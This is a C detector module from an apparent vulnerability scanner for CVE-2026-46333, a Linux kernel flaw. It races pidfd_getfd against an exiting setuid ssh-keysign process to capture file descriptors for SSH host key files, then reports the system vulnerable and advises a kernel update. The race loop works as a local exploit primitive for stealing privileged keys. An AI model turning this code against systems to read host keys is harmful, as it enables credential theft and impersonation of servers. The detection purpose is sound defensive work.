cve-2026-46333.c (3824B)
1 /* 2 * CVE-2026-46333 — ssh-keysign-pwn 3 * 4 * __ptrace_may_access() skips the dumpable check when task->mm == NULL. 5 * During do_exit(), exit_mm() runs before exit_files(), creating a window 6 * where pidfd_getfd(2) can steal FDs from a setuid binary that opened 7 * sensitive files before dropping privileges. 8 * 9 * Detector: spawn ssh-keysign, open a pidfd, race pidfd_getfd looking for 10 * an fd pointing at ssh_host_*_key. Success = vulnerable. 11 */ 12 #define _GNU_SOURCE 13 #include <errno.h> 14 #include <fcntl.h> 15 #include <signal.h> 16 #include <stdio.h> 17 #include <stdlib.h> 18 #include <string.h> 19 #include <sys/syscall.h> 20 #include <sys/wait.h> 21 #include <unistd.h> 22 23 #include "setup.h" 24 25 #ifndef __NR_pidfd_open 26 #define __NR_pidfd_open 434 27 #endif 28 #ifndef __NR_pidfd_getfd 29 #define __NR_pidfd_getfd 438 30 #endif 31 32 static int my_pidfd_open(pid_t pid, unsigned flags) { 33 return (int)syscall(__NR_pidfd_open, pid, flags); 34 } 35 36 static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) { 37 return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags); 38 } 39 40 static const char *SSH_KEYSIGN_PATHS[] = { 41 "/usr/libexec/ssh-keysign", 42 "/usr/libexec/openssh/ssh-keysign", 43 "/usr/lib/ssh/ssh-keysign", 44 "/usr/lib/openssh/ssh-keysign", 45 NULL, 46 }; 47 48 int detector_cve_2026_46333(struct cve_context *ctx) { 49 const char *bin = NULL; 50 51 /* Locate ssh-keysign binary */ 52 for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) { 53 if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) { 54 bin = SSH_KEYSIGN_PATHS[i]; 55 break; 56 } 57 } 58 if (!bin) { 59 /* ssh-keysign not present — not exploitable */ 60 return 0; 61 } 62 63 /* 64 * Try up to 200 rounds. The upstream exploit uses 500; 200 is 65 * enough to be confident while keeping detector runtime reasonable. 66 */ 67 for (int round = 0; round < 200; round++) { 68 pid_t child = fork(); 69 if (child < 0) return 0; 70 71 if (child == 0) { 72 /* Child: redirect stdio and exec ssh-keysign */ 73 int dn = open("/dev/null", O_RDWR); 74 if (dn >= 0) { 75 dup2(dn, 0); 76 dup2(dn, 1); 77 dup2(dn, 2); 78 if (dn > 2) close(dn); 79 } 80 execl(bin, "ssh-keysign", (char *)NULL); 81 _exit(127); 82 } 83 84 int pidfd = my_pidfd_open(child, 0); 85 if (pidfd < 0) { 86 waitpid(child, NULL, 0); 87 continue; 88 } 89 90 int hit = 0; 91 for (int a = 0; a < 30000 && !hit; a++) { 92 /* If the child already exited, stop hammering pidfd_getfd */ 93 if (waitpid(child, NULL, WNOHANG) > 0) break; 94 for (int fd = 3; fd < 32; fd++) { 95 int stolen = my_pidfd_getfd(pidfd, fd, 0); 96 if (stolen < 0) continue; 97 98 /* Resolve the stolen fd to see what it points at */ 99 char path[256] = {0}; 100 char link[64]; 101 snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); 102 ssize_t n = readlink(link, path, sizeof(path) - 1); 103 if (n > 0) path[n] = '\0'; 104 105 if (strstr(path, "ssh_host_") && strstr(path, "_key")) { 106 /* Found a host key fd — system is vulnerable */ 107 if (ctx->verbose) fprintf(stderr, "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", fd, path); 108 close(stolen); 109 hit = 1; 110 break; 111 } 112 close(stolen); 113 } 114 } 115 116 close(pidfd); 117 waitpid(child, NULL, 0); 118 119 if (hit) return 1; /* vulnerable */ 120 } 121 122 /* No hit after all rounds — likely patched */ 123 return 0; 124 } 125 126 __attribute__((constructor)) void detector_cve_2026_46333_setup(void) { 127 detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn", 128 "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n" 129 " No per-binary workaround is effective — the flaw is in the\n" 130 " kernel's __ptrace_may_access() and affects any setuid binary.", 131 detector_cve_2026_46333); 132 }